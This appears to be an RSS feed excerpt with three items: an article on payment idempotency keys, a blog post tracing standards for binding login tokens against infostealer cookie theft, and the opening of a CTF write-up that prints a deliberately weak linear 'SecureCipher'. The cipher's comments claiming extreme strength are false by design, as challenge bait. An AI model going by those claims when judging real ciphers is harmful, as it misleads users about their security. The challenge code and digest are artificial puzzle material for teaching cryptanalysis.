<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/idempotentecy-1.png?w=1024" alt="The database recorded one payment: the retry. The first charge lived only in the provider's records, invisible to us until the complaints came in." class="wp-image-4191747" width="1024" height="462" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Violetta Pidvolotska</p></div>



<p>The duplicates were refunded within hours, before the dispute could become a chargeback. Understanding what had actually failed took much longer.</p>



<p>Later, we widened the timeout well past the provider’s slowest healthy responses, but as long as a retry can trigger a second charge, a longer timeout only makes the double charge rarer.</p>



<p>The real mistake was older than the limit itself. The system had been told that a timeout means failure.</p>



<h2 class="wp-block-heading">The third state</h2>



<p>We tend to think of a network call as having two outcomes: it worked or it didn’t. A timeout is the third. The request may never have arrived. It may have done its work and lost the response on the way back. That is what bit us. Or it may still be running. From the caller’s side, you can’t tell which.</p>



<p>Code rarely has a separate path for “unknown.” It gets lumped in with failure and the failure path retries. When the request moves money, that is how you charge someone twice.</p>



<p>A slow service shows up as rising response times, an unreliable one as errors. A double charge shows up as a success, and nobody noticed until a customer did.</p>



<p>Timeouts, which I’ve <a href="https://www.infoworld.com/article/4137968/the-reliability-cost-of-default-timeouts.html">written about before</a>, turn silent hangs into visible failures. And visible failures get retried, which is how we arrived at idempotency.</p>



<p>“Exactly-once” gets used as if it were a setting you could turn on. You cannot promise exactly-once delivery across an unreliable network, as Tyler Treat explains. What you can promise is exactly-once effects: The request may arrive twice, while the charge happens once.</p>



<p>My first instinct was to stop retrying payments automatically and it helped. But not every retry is ours to switch off: The customer refreshes the page, or a retry policy somewhere in the infrastructure resends on its own.</p>



<h2 class="wp-block-heading">The assumptions under the key</h2>



<p>The standard remedy is an idempotency key: The caller attaches a unique value to one attempt at an operation and sends the same value on every retry. A new key gets processed and its result stored; a familiar one gets the stored result back, so the retry has no extra effect. Brandur Leach’s <a href="https://brandur.org/idempotency-keys">walkthrough of Stripe-like idempotency keys in Postgres</a> lays the pattern out end to end.</p>



<p>The key was shipped and the duplicates stopped. But we relaxed too early. The key turned out to be the easy part.</p>



<p>A key like this rests on four assumptions. I’ve since turned them into a checklist I call the four-assumptions test:</p>



<ul class="wp-block-list">
<li><strong>Claim.</strong> Claiming a key is just a matter of checking it’s free first.</li>



<li><strong>Intent.</strong> The same key always carries the same intent.</li>



<li><strong>Memory.</strong> Whatever a key remembers is safe to replay.</li>



<li><strong>Boundary</strong>. Nothing behind the key lies beyond your control.</li>
</ul>



<p>Over the following month, all four broke: The race in a load test, the other three in production.</p>



<h2 class="wp-block-heading">Two requests, same millisecond</h2>



<p>In a load test, two requests with the same key arrived in the same millisecond. Each checked for the key; neither found it and both started processing.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/idempotentecy-2.png?w=1024" alt="In a load test, two requests with the same key arrived in the same millisecond. Each checked for the key, neither found it and both started processing." class="wp-image-4191749" width="1024" height="531" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Violetta Pidvolotska</p></div>



<p>“Check whether the key exists, then write it” is a race like any other and it broke the claim assumption. We fixed it by flipping the order: now writing the key <em>is</em> the check. Every request writes it as “started” and the database lets only one claim win. The safeguard:</p>



<pre class="wp-block-code"><code>-- Try to claim the key; the UNIQUE index lets only one caller win.
INSERT INTO operations (idempotency_key, state) VALUES (:key, 'started')
ON CONFLICT (idempotency_key) DO NOTHING;</code></pre>



<p>The insert touches one row or none, and that count tells you which path you’re on. One row means you won: Call the provider, then mark the row ‘completed’ and save the response. None means you lost: Read the row and return its saved response or tell the caller to retry later if it is still ‘started’.</p>



<p>One detail is easy to get wrong: Commit the claim before the provider call goes out. Otherwise, a crash rolls it back and erases the only record that a charge may be in flight.</p>



<p>The harder case is a winning request that crashes mid-charge: Its key is stuck at “started,” and every retry is told to wait for an answer that will never come. A stuck claim is the same unknown all over again: Once it has sat in “started” longer than any healthy call could take, ask the provider what actually happened before anyone charges again.</p>



<h2 class="wp-block-heading">Same key, different request</h2>



<p>The second gap appeared a week into production and broke the intent assumption: A caller reused one key for two different requests, $200 and $500, and the system returned the first request’s stored response without noticing the amount had changed.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/idempotentecy-3.png?w=1024" alt="The second gap appeared a week into production and broke the intent assumption: a caller reused one key for two different requests, $200 and $500, and the system returned the first request's stored response without noticing the amount had changed." class="wp-image-4191748" width="1024" height="443" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Violetta Pidvolotska</p></div>



<p>We fixed it by storing a fingerprint of the request’s contents next to the key, on the same insert, so a request that loses the claim race can still compare its fingerprint against the winner’s. If the fingerprints match, it’s a genuine retry. If they don’t, the key was reused for a different operation and we reject it.</p>



<p>That fix promptly rejected a valid retry. We had been fingerprinting the entire request, including a timestamp that changed between attempts and fields that arrived in a different order, so the fingerprints did not match.</p>



<p>A fingerprint has to capture what a request means rather than how its bytes are arranged. Hash a hand-picked list of business fields and you risk a silent collision: The one field nobody remembered to add lets two different requests match. Hash the whole request minus known noise like timestamps and the failure is loud instead: A missed volatile field rejects a valid retry. We chose loud, the fix came down to two lines:</p>



<pre class="wp-block-code"><code>intent      = drop_fields(request.json, volatile={"client_ts", "trace_id"})  # strip known noise only
fingerprint = sha256(canonical_json(intent))   # canonical form: keys sorted, numbers and spacing normalized</code></pre>



<p>Even “canonical” hides decisions. <a href="https://www.rfc-editor.org/info/rfc8785/">RFC 8785</a> pins them down, but it runs every number through an IEEE 754 double, which loses precision on large values, so money amounts are safer as strings or integer cents. Change the canonical form and every stored fingerprint stops matching, so we version it and store the version next to the fingerprint.</p>



<h2 class="wp-block-heading"><a></a><strong>The error we cached</strong></h2>



<p>The third gap came in through support: A customer hit an insufficient-funds decline, added money, tried again with the same key and got the old “insufficient funds” back. The provider was never asked. The system had been caching every response, declines included, so the failure stuck to the key.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/idempotentecy-4.png?w=1024" alt='The third gap came in through support: a customer hit an insufficient-funds decline, added money, tried again with the same key and got the old "insufficient funds" back. The provider was never asked. The system had been caching every response, declines included, so the failure stuck to the key.' class="wp-image-4191746" width="1024" height="579" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Violetta Pidvolotska</p></div>



<p>That forced the question behind the memory assumption: What is a key allowed to remember? The rule we landed on: cache only success.</p>



<p>A soft decline or a validation error releases the claim instead: The row flips back to claimable, fingerprint kept. The next attempt reclaims it with an update that only one retry can win and the customer who adds money gets a live attempt instead of a replay. Hard declines are the exception: A stolen-card response is final and that claim stays closed.</p>



<p>On a timeout, we don’t know whether the charge landed, so we ask the provider whether the charge already went through and act on the answer.</p>



<h2 class="wp-block-heading">Where the guarantee runs out</h2>



<p>The first three gaps were on endpoints under the team’s control. The fourth surfaced during reconciliation: A charge on an older provider’s statement with no matching internal record. That provider had no idempotency keys, and the guarantee had reached its boundary. We could not make it safe to call twice.</p>



<p>We got as close as we could: A pending record before the call, a status check before retrying, reconciliation to catch and refund whatever slips through. A window remains where the charge has landed and our record doesn’t know it yet. We kept shrinking that window, but we never managed to close it.</p>



<p>The database that holds the keys forces a decision of its own: When it is down, you either stop taking payments or take them unprotected. That choice is a business call. For a low-stakes write, cleaning up a rare duplicate can cost less than turning customers away. A payment is not low stakes, so we fail closed and stop taking payments until the store is back: A lost sale we can recover, and we had just spent a month learning what duplicates cost.</p>



<h2 class="wp-block-heading">Questions I ask in design reviews</h2>



<p>For anything that stores or changes data, I ask three questions:</p>



<ul class="wp-block-list">
<li><strong>What happens if this runs twice?</strong> Ask it out loud for every write.</li>



<li><strong>Can we prove the answer?</strong> Run it twice in tests, in sequence and in parallel; the second run should change nothing.</li>



<li><strong>Where does the truth live when systems disagree?</strong> For payments, it’s the provider because their records show whether money actually moved. Settle whose answer wins before an incident does.</li>
</ul>



<p>The key is a good idea and, in anything that moves money, a necessary one. It is just not a guarantee. The guarantee is the design around it: A claim that cannot race, an intent the fingerprint confirms, a memory that keeps only what is safe to replay and a boundary you have mapped in advance. That is the four-assumptions test. Every assumption gets tested eventually: You do it at design time or production does it for you.</p>



<p><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><strong><a href="https://www.infoworld.com/expert-contributor-network/">Want to join?</a></strong></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Preventing token theft]]></title>
<description><![CDATA[When you log into a service you’re given an authentication token. Each
further request to the site includes that token, allowing the server to
figure out who you are and ensuring that you have access to your
data. Depending on site policy, this token may either be stored in memory
(and so vanish ...]]></description>
<link>https://tsecurity.de/de/3640320/downloads/preventing-token-theft/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3640320/downloads/preventing-token-theft/</guid>
<pubDate>Thu, 02 Jul 2026 08:31:40 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>When you log into a service you’re given an authentication token. Each
further request to the site includes that token, allowing the server to
figure out who you are and ensuring that you have access to your
data. Depending on site policy, this token may either be stored in memory
(and so vanish if you restart your browser) or disk. The token is the proof
of your identity. As far as the site is concerned, anyone with your token is
you. These tokens may be traditional browser cookies, but they may also be
stored in either site local storage or (if you’re not using a browser) in
some other storage location.</p>
<p>In recent years we’ve seen infostealer malware (like
<a class="link" href="https://www.cisa.gov/news-events/cybersecurity-advisories/aa25-141b" target="_blank" rel="noopener">LummaC2</a>)
gain the ability to exfiltrate user tokens, allowing attackers to gain
access to the user’s data without needing to retain access to the user’s
machine. This attack is viable even if the site has strong MFA requirements,
so passkeys don’t help. Encrypting the tokens on disk doesn’t prevent the
malware from scraping them out of the browser’s RAM or obtaining whatever
key is used to encrypt them. This feels like a pretty hard problem to solve.</p>
<p>But that hasn’t stopped people from trying! Dirk Balfanz wrote an IETF draft
describing a mechanism for using <a class="link" href="https://datatracker.ietf.org/doc/html/draft-balfanz-tls-obc-01" target="_blank" rel="noopener">self-signed certificates for TLS
authentication</a>. This
uses the <a class="link" href="https://en.wikipedia.org/wiki/Mutual_authentication#mTLS" target="_blank" rel="noopener">mutual
authentication</a>
feature of the TLS protocol that requires both sides prove their identity to
each other. In regular TLS, the remote site presents a signed certificate
that tells you who it is. When performing mutual authentication, you then
present a certificate to the remote site telling it who <em>you</em> are. These
client certificates are largely unused outside enterprise environments
because they’re a <em>huge</em> pain to deploy. It’s not so much that this has
sharp edges, it’s that it’s entirely made of sharp edges. Managing
certificate deployment to your devices is hard. Browsers get confused if the
certificates change under them. You have one certificate and it lives
forever, so sites you present it to can track your identity. Users are
prompted to choose a certificate to authenticate with, and if they pick the
wrong one everything breaks and is hard to recover. I’ve deployed this and I
did not have a good time.</p>
<p>But Balfanz’s idea was simple. Rather than require certificates to be
deployed, browsers would simply generate a certificate on the fly. The goal
wasn’t to prove the device or user’s identity in any global way - but it
would associate a TLS session with a specific certificate. You could then,
for example, include a hash of the certificate in the cookie, and if someone
tried to use that cookie without presenting that certificate then the cookie
could be rejected. If the browser used a hardware-backed private key for the
certificate then it would be impossible for an attacker to steal it. Sure,
you could still steal cookies, but you wouldn’t be able to use them.</p>
<p>This was written almost 15 years ago, and seems simple, elegant, and
functional. It didn’t happen. Part of the reason for that is that, well, it
wasn’t quite so simple. One problem was privacy related. Cookies are only
sent after the TLS session is established, so anyone monitoring the network
doesn’t know anything about the user identity. A naive implementation of
this approach would have meant the client certificate being sent before
session establishment, and now user identity can be tracked (no longer an
issue if this was implemented on top of TLS 1.3, but this was a log time
ago). This was avoided by reordering the client handshake, but that meant
having to modify the TLS specification and implementations would have to be
updated to support this. Another was that figuring out the granularity of
the certificates was difficult. You’d want to use different certificates for
every site to avoid them effectively becoming tracking cookies, but you need
to provide the certificate before cookies are set, and you don’t know what
origin the site is going to set in its cookies. If you generate a
certificate for a.example.com and a different one for b.example.com, and
a.example.com sets a cookie for *.example.com and includes the certificate
you used for a.example.com, that cookie isn’t going to work on b.example.com
and things are broken. This meant supporting it wasn’t as straightforward as
it seemed - you’d need to ensure that your cookie scope was compatible with
the certificate scope. You could probably make this work well enough by
aligning it with the <a class="link" href="https://publicsuffix.org/" target="_blank" rel="noopener">Public Suffix List</a>, but
there was still some risk of expectations not being aligned.</p>
<p>And, perhaps most importantly, <a class="link" href="https://datatracker.ietf.org/doc/html/rfc5077" target="_blank" rel="noopener">TLS session
resumption</a> (replaced by
<a class="link" href="https://datatracker.ietf.org/doc/html/rfc8446#page-15" target="_blank" rel="noopener">pre-shared keys</a> in
TLS 1.3) somewhat defeats the purpose of the exercise - clients store state
that allows them to re-establish a TLS connection without performing
certificate exchange (this reduces overhead if a connection gets interrupted
or you switch to a new network or anything along those lines), and anyone in
a position to steal cookies could steal that state as well.</p>
<p>The followup attempt was <a class="link" href="https://datatracker.ietf.org/doc/html/draft-balfanz-tls-channelid-01" target="_blank" rel="noopener">channel
IDs</a>.
This simplified the implementation somewhat - rather than certificates, a
raw public key would be sent, along with proof of possession of the private
key in the form of a signature over a portion of the TLS handshake. This was
required even in the event of session resumption, which avoided having to
worry about theft of session secrets. The timing of the exchange was after
the encrypted session had been established, so user identity couldn’t be
leaked that way either. Cookies could then be bound to this
identifier. Unfortunately it didn’t really deal with the problem of scoping
keys in a way that would match cookie requirements, and the spec suggests
that the right way of handling this is to scope keys to TLDs, which would
enable user tracking across sites (Chrome’s implementation apparently
restricted it to eTLD+1, which would match the third party cookie policy and
avoid the tracking risk).</p>
<p>Chrome added support for this, but it was <a class="link" href="https://groups.google.com/a/chromium.org/g/net-dev/c/AjFQjBmaEQE/m/gIXoV3IFCQAJ?utm_medium=email&amp;utm_source=footer" target="_blank" rel="noopener">removed in early
2018</a>. The
discussion of some of the pain points in that message is interesting,
explicitly calling out problems with connection coalescing across domains
and the incompatibility with zero-RTT TLS1.3. The overall consensus at the
time seems to be that trying to solve this entirely at the TLS layer has too
many rough edges, and a different approach should be taken.</p>
<p>And so almost 7 years after the initial draft for origin bound certificates,
we come to <a class="link" href="https://datatracker.ietf.org/doc/html/rfc8471" target="_blank" rel="noopener">token
binding</a>. This ended up being
a rather more complex endeavour, covering 3 different RFCs describing how it
impacts TLS, how to incorporate it into HTTP, and how to manage all the
various parties involved in the process. The short version is that it’s
pretty similar to channel ID, except that there’s also a documented
mechanism for allowing tokens to be bound to one party and consumed by
another, avoiding any need for widely scoped keys. Token binding effectively
solved all the issues in the original proposal, but at the cost of somewhat
more complexity.</p>
<p>The RFC was finalised in October 2018. Chrome removed its (incomplete,
draft) support for token binding in November 2018. Edge carried support
until late 2024. Despite getting all the way through the RFC process, it’s
functionally dead.</p>
<p>The process up until this point had been largely initiated by Google, with
Microsoft contributing significantly to the token binding standards. The
work had been focused on identifying a generic solution to the problem
rather than tying it to any specific authentication flow. The next step was
in a different direction - rather than trying to fix this for the entire
internet, how about we try to fix it for OAuth?</p>
<p><a class="link" href="https://datatracker.ietf.org/doc/html/rfc8705" target="_blank" rel="noopener">RFC 8705</a> is titled “OAuth
2.0 Mutual-TLS Client Authentication and Certificate-Bound Access
Tokens”. This is basically the 2011 approach, but (a) with an explicit
definition of how the certificate should be incorporated into issued auth
cookies, and (b) with a proviso that well uh if you’re going to use tokens
issued by your IdP to authenticate to someone else then well you’re going to
need to use the same cert for both. This is probably fine for the
company-owned-laptop case where you’re actually fine with multiple sites
being able to tie identities together (that’s kind of the point here!), and
also works for “I am using an app and not a browser”, but doesn’t work for
more generic scenarios. It also doesn’t seem to take the session resumption
case into account at all? Support for RFC8705 seems poor, as far as I can
tell of the big players only Auth0 implements it. In theory it works fine
with self-signed client certs but in reality that’s going to be almost as
difficult to support across multiple platforms as just issuing proper client
certs in the first place, so deployment is going to be kind of a pain. But
the good news is it doesn’t rely on any TLS extensions or custom browser
behaviour, so at the client side it works fine with any browser.</p>
<p>Which brings us on to <a class="link" href="https://datatracker.ietf.org/doc/html/rfc9449" target="_blank" rel="noopener">RFC
9449</a>, “Demonstrating Proof
of Possession”. This goes even further than RFC8705 in terms of reducing the
burden of deployment - it works fine with existing browsers, <em>and</em> it
doesn’t even require any certs. The client generates a keypair and provides
the pubkey when requesting the cookie. The cookie contains the pubkey. Every
request to the service now provides the cookie with the pubkey and also
provides a signature over the URI and HTTP method. If the signature matches
the pubkey in the token then clearly the signature came from the machine the
token was issued to, and everything is good.</p>
<p>This does come with some downsides, though. The first is that it uses
browser interfaces to generate the keys (typically
<a class="link" href="https://developer.mozilla.org/en-US/docs/Web/API/SubtleCrypto/generateKey" target="_blank" rel="noopener">crypto.subtle.generatekey()</a>)
and as far as I can tell there are no browsers that guarantee that that key
is going to be generated in hardware even if it’s marked non-exportable, so
anyone able to steal the cookies can also steal the keys. The second is that
the signature only covers the URI and HTTP method, and not the message
content or any other headers, so anyone able to exfiltrate a valid signature
can replay it against the same URI with different message content. The
recommended way to handle this is to reject any signatures that weren’t
generated within the last few seconds, which is a wonderful additional way
to allow clock skew to give you a Bad Day. And the third is that every
single request has to be separately signed, which is not intrinsically a
problem because computers are fast and have multiple cores, but if you’re
trying to solve the first problem by sticking the key in a TPM then you’re
dealing with something that’s slow and single threaded and that’s maybe
acceptable if you’re using client certificates (because there’s going to be
one signature per session and you can use the same session for multiple
requests) but probably not if you’re dealing with a user opening a browser
that restores previous tabs and each of those is a webapp that fires off 100
requests in parallel.</p>
<p>In case it wasn’t clear, I don’t like DPoP. It doesn’t feel like it actually
solves the underlying problem that we see in the real world (malware running
in a context where if it can grab the tokens it can grab the keys), it adds
a massive amount of overhead, and it has baked in replay vulnerabilities. I
don’t know why it exists and I’m incredibly suspicious of vendors telling me
that it fixes my problems, because if they’re telling me that then I’m going
to end up assuming that they either don’t understand my problems or they
don’t understand their technology, and neither of those is good.</p>
<p>Still. Then we get to the thing that prompted me to write this - Chrome’s
announcement that they had <a class="link" href="https://security.googleblog.com/2026/04/protecting-cookies-with-device-bound.html" target="_blank" rel="noopener">launched device-bound session
credentials</a>. This
is interesting because it’s a Chrome feature that’s explicitly intended to
counter on-device malware, which was one of the things that was out of scope
in 2018 when token binding was being removed. Since this is entire web level
it doesn’t have to be an RFC, and so is instead defined <a class="link" href="https://w3c.github.io/webappsec-dbsc/" target="_blank" rel="noopener">by
W3C</a>. I’m going to handwave all the
complexity and say that it’s basically a way to register a public key when a
cookie is issued, and then prove possession of the private key when it’s
time to renew the cookie. By making the cookies shortlived and having
support for rotating them in the background, user impact is basically zero
and while it’s still possible for an attacker to exfiltrate and use a cookie
they’ll only be able to do so for a short window before it needs to be
refreshed - something the attacker can’t do, since they don’t have the
private key. This avoids the DPoP overhead because you only need to do
signing once per cookie per cookie lifetime, and not on every single
request. I don’t <em>like</em> this due to the window where exfiltrated tokens can
be used, but it feels like a strict improvement over the status quo. An
extension called <a class="link" href="https://github.com/w3c/webappsec-dbsc/blob/main/DBSCE/Overview.md" target="_blank" rel="noopener">device-bound session credentials for
enterprise</a>
allows pre-enrollment of device keys, so even though the actual runtime DBCE
flow doesn’t involve certificates, certificates can be used for device
registration in enterprise environments and you can make sure that auth
cookies only go to trusted devices. Unfortunately this is Chrome-only, and
so we’re going to need to wait for it to be backported to all the random app
frameworks for it to have widespread support on mobile or for almost
everyone’s desktop app that’s actually three websites in an Electron
wrapper. Mozilla’s <a class="link" href="https://github.com/mozilla/standards-positions/issues/912#issuecomment-4840591341" target="_blank" rel="noopener">current
position</a>
is that they’re not in favour of it, so I guess we’ll see where Safari lands
in terms of broad uptake.</p>
<p>The last thing on my list is <a class="link" href="https://datatracker.ietf.org/doc/draft-mw-oauth-tls-session-bound-tokens/04/" target="_blank" rel="noopener">another client cert/OAuth
binding</a>,
this one still in draft state at the time of writing. This one is aimed
primarily at the use of agent-driven tooling, where you have something
running in the background using a whole bunch of tools that are each acting
on your behalf. Authenticating to all of them separately isn’t a fun time,
but giving broadly scoped access tokens to a non-deterministic agent and
trusting that it’ll never post them somewhere public also isn’t a fun
time. The key distinction between it and RFC8705 is that it’s aimed at
<em>connections</em> rather than <em>sessions</em>, which avoids the worries about session
resumption. This is done with <a class="link" href="https://datatracker.ietf.org/doc/html/rfc5705" target="_blank" rel="noopener">TLS
Exporters</a>, which in TLS 1.3
should be unique to the connection even over session resumption (TLS 1.2 may
reuse some of the same key material for exporters over session resumption,
so it’s recommended to enforce 1.3 for this). By providing a new signature
alongside the cookie on every new connection, the client proves that it
still has access to the private key. This is a very new spec and I haven’t
had much time to work through it yet, but my naive understanding is that
unlike RFC8705 this would require some additional client support to be able
to regenerate the client signature on every TLS reconnection.</p>
<p>This doesn’t avoid all the problems that RFC8705 has, including how to scope
certificates. For the agentic use case that probably doesn’t matter - all
these tools are acting on behalf of the same user, it’s fine if all the
sites involved know they’re the same user. But it doesn’t solve the general
purpose user use case, and right now DBSC seems like the best we have there.</p>
<p>But. Part of me still wonders whether <a class="link" href="https://datatracker.ietf.org/doc/html/draft-balfanz-tls-obc-01" target="_blank" rel="noopener">Dirk
Balfanz’s</a>
approach was the right one. Yes, there’s risk associated with TLS session
resumption, but in the worst case you could just switch that off for high
risk setups. The cookie scope argument is real, and also in cases where it
could violate privacy the site owner could already choose to broaden their
cookie scope and violate your privacy, and in cases where it breaks things
you could just not make use of it. The other problems are largely fixed by
TLS 1.3, and then we’re just left with “Browsers handle client certificates
badly” to which my answer is “Yes, and we should fix that anyway”.</p>
<p>Despite having a pretty good answer to this solution over a decade ago, the
closest we have to actual deployment is something that offers strictly worse
security guarantees. And tokens keep getting stolen, and compromises keep
occurring, and for the most part people shrug and get on with things.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Cryptanalysis: Recovering an Affine Encryption Scheme Using GF(2) Linear Algebra]]></title>
<description><![CDATA[Welcome to a cryptanalysis challenge. In this challenge, we will learn how a block cipher built entirely from linear components can be broken, and why secure block ciphers require nonlinear components.This is not a very basic level challenge. It covers moderate level cryptographic concepts, so so...]]></description>
<link>https://tsecurity.de/de/3638152/hacking/cryptanalysis-recovering-an-affine-encryption-scheme-using-gf2-linear-algebra/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3638152/hacking/cryptanalysis-recovering-an-affine-encryption-scheme-using-gf2-linear-algebra/</guid>
<pubDate>Wed, 01 Jul 2026 12:21:51 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Welcome to a cryptanalysis challenge. In this challenge, we will learn how a block cipher built entirely from linear components can be broken, and why secure block ciphers require nonlinear components.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UCDnls0YGDvICJYnUlLlcg.png"></figure><p>This is not a very basic level challenge. It covers moderate level cryptographic concepts, so some familiarity with basic mathematics, cryptographic functions, and encryption algorithms will be helpful. I’ll try to explain every part as clearly as possible.</p><p>In this challenge, a hash value and the corresponding encryption code are provided. The goal is to understand how the plaintext is transformed into that hash. We need to reverse engineer or perform cryptanalysis on the encryption process to recover the original plaintext from the given hash.</p><h4>Here is the encryption and hashing code used in the challenge.</h4><blockquote><em>You are given the following hash:</em></blockquote><blockquote><em>1d6a2172025e1858754075123b6658532d1a4e775e1f43336e227d5a4529734f</em></blockquote><p><strong>Below is the complete source code used in the challenge.</strong></p><pre>#!/usr/bin/env python3<br><br># This cipher uses 100 rounds and therefore provides extremely strong security.<br># Repeated substitution and permutation remove all algebraic structure.<br># Since the SBox is key dependent, recovering the plaintext without brute force is infeasible.<br><br>BLOCK_SIZE = 32<br><br>KEY_SBOX = [211, 243, 147, 179, 83, 115, 19, 51, 210, 242, 146, 178, 82, 114, 18, 50, 209, 241, 145, 177, 81, 113, 17, 49, 208, 240, 144, 176, 80, 112, 16, 48, 215, 247, 151, 183, 87, 119, 23, 55, 214, 246, 150, 182, 86, 118, 22, 54, 213, 245, 149, 181, 85, 117, 21, 53, 212, 244, 148, 180, 84, 116, 20, 52, 219, 251, 155, 187, 91, 123, 27, 59, 218, 250, 154, 186, 90, 122, 26, 58, 217, 249, 153, 185, 89, 121, 25, 57, 216, 248, 152, 184, 88, 120, 24, 56, 223, 255, 159, 191, 95, 127, 31, 63, 222, 254, 158, 190, 94, 126, 30, 62, 221, 253, 157, 189, 93, 125, 29, 61, 220, 252, 156, 188, 92, 124, 28, 60, 195, 227, 131, 163, 67, 99, 3, 35, 194, 226, 130, 162, 66, 98, 2, 34, 193, 225, 129, 161, 65, 97, 1, 33, 192, 224, 128, 160, 64, 96, 0, 32, 199, 231, 135, 167, 71, 103, 7, 39, 198, 230, 134, 166, 70, 102, 6, 38, 197, 229, 133, 165, 69, 101, 5, 37, 196, 228, 132, 164, 68, 100, 4, 36, 203, 235, 139, 171, 75, 107, 11, 43, 202, 234, 138, 170, 74, 106, 10, 42, 201, 233, 137, 169, 73, 105, 9, 41, 200, 232, 136, 168, 72, 104, 8, 40, 207, 239, 143, 175, 79, 111, 15, 47, 206, 238, 142, 174, 78, 110, 14, 46, 205, 237, 141, 173, 77, 109, 13, 45, 204, 236, 140, 172, 76, 108, 12, 44]<br><br>PBOX = [41, 214, 131, 48, 221, 138, 55, 228, 145, 62, 235, 152, 69, 242, 159, 76, 249, 166, 83, 0, 173, 90, 7, 180, 97, 14, 187, 104, 21, 194, 111, 28, 201, 118, 35, 208, 125, 42, 215, 132, 49, 222, 139, 56, 229, 146, 63, 236, 153, 70, 243, 160, 77, 250, 167, 84, 1, 174, 91, 8, 181, 98, 15, 188, 105, 22, 195, 112, 29, 202, 119, 36, 209, 126, 43, 216, 133, 50, 223, 140, 57, 230, 147, 64, 237, 154, 71, 244, 161, 78, 251, 168, 85, 2, 175, 92, 9, 182, 99, 16, 189, 106, 23, 196, 113, 30, 203, 120, 37, 210, 127, 44, 217, 134, 51, 224, 141, 58, 231, 148, 65, 238, 155, 72, 245, 162, 79, 252, 169, 86, 3, 176, 93, 10, 183, 100, 17, 190, 107, 24, 197, 114, 31, 204, 121, 38, 211, 128, 45, 218, 135, 52, 225, 142, 59, 232, 149, 66, 239, 156, 73, 246, 163, 80, 253, 170, 87, 4, 177, 94, 11, 184, 101, 18, 191, 108, 25, 198, 115, 32, 205, 122, 39, 212, 129, 46, 219, 136, 53, 226, 143, 60, 233, 150, 67, 240, 157, 74, 247, 164, 81, 254, 171, 88, 5, 178, 95, 12, 185, 102, 19, 192, 109, 26, 199, 116, 33, 206, 123, 40, 213, 130, 47, 220, 137, 54, 227, 144, 61, 234, 151, 68, 241, 158, 75, 248, 165, 82, 255, 172, 89, 6, 179, 96, 13, 186, 103, 20, 193, 110, 27, 200, 117, 34, 207, 124]<br><br>xor = lambda a,b: bytes([x ^ y for x,y in zip(a,b)])<br><br>class SecureCipher:<br>    def __init__(self, key):<br>        if len(key) &lt; BLOCK_SIZE:<br>            pad = BLOCK_SIZE - len(key)<br>            key += bytes([pad])*pad<br>        self.key = key[:BLOCK_SIZE]<br>        self.sbox = [KEY_SBOX[i] ^ self.key[0] for i in range(256)]<br><br>    def substitute(self, data):<br>        return bytes(self.sbox[b] for b in data)<br><br>    def permute(self, data):<br>        out = [0]*BLOCK_SIZE<br>        for num in range(256):<br>            outnum = PBOX[num]<br><br>            inbyte = num // 8<br>            inbit = 7 - (num % 8)<br><br>            outbyte = outnum // 8<br>            outbit = 7 - (outnum % 8)<br><br>            if data[inbyte] &amp; (1 &lt;&lt; inbit):<br>                out[outbyte] |= (1 &lt;&lt; outbit)<br><br>        return bytes(out)<br><br>    def encrypt(self, data):<br>        data = self.pad(data)<br><br>        blocks = [data[i:i+BLOCK_SIZE]<br>                  for i in range(0, len(data), BLOCK_SIZE)]<br><br>        out = b''<br><br>        for block in blocks:<br>            for _ in range(100): # No linear or any cryptanalysis here!<br>                block = self.substitute(block)<br>                block = self.permute(block)<br>                block = xor(block, self.key)<br><br>            out += block<br><br>        return out<br><br>    @staticmethod<br>    def pad(data):<br>        if len(data) % BLOCK_SIZE == 0:<br>            return data<br>        diff = BLOCK_SIZE - (len(data) % BLOCK_SIZE)<br>        return data + bytes([diff])*diff<br><br><br>class SecureHash:<br>    def __init__(self, data=None):<br>        self.state = b"\x00"*BLOCK_SIZE<br>        if data:<br>            self.update(data)<br><br>    def update(self, data):<br>        data = SecureCipher.pad(data)<br><br>        blocks = [data[i:i+BLOCK_SIZE]<br>                  for i in range(0, len(data), BLOCK_SIZE)]<br><br>        for block in blocks:<br>            c = SecureCipher(block)<br>            self.state = xor(self.state, c.encrypt(block))<br><br>    def digest(self):<br>        return self.state<br><br>    def hexdigest(self):<br>        return self.state.hex()<br><br><br>if __name__ == "__main__":<br>    plaintext = input("Message: ").encode()<br><br>    h = SecureHash(plaintext)<br><br>    print("\nDigest:")<br>    print(h.hexdigest())<br><br>    cipher = SecureCipher(plaintext)<br>    ct = cipher.encrypt(plaintext)<br><br>    print("\nCiphertext:")<br>    print(ct.hex())</pre><p>Your task is to analyze the implementation, determine whether the cipher and hash construction are secure, and recover the original plaintext if a weakness exists. Study the source carefully and verify every assumption yourself.</p><p>Now, let’s try to solve the challenge. I’ll explain the solution in detail. how the encryption works, what vulnerability was discovered, which cryptanalysis methods were used to identify it, and how to build a solver to reverse the hash and recover the original plaintext.</p><h4>How the Encryption Works</h4><p>Let’s first understand what the hashing code does with our input and how the digest <strong>1d6a2172025e1858754075123b6658532d1a4e775e1f43336e227d5a4529734f</strong> is generated.</p><p>You can see that the cipher uses a fixed block size of 32 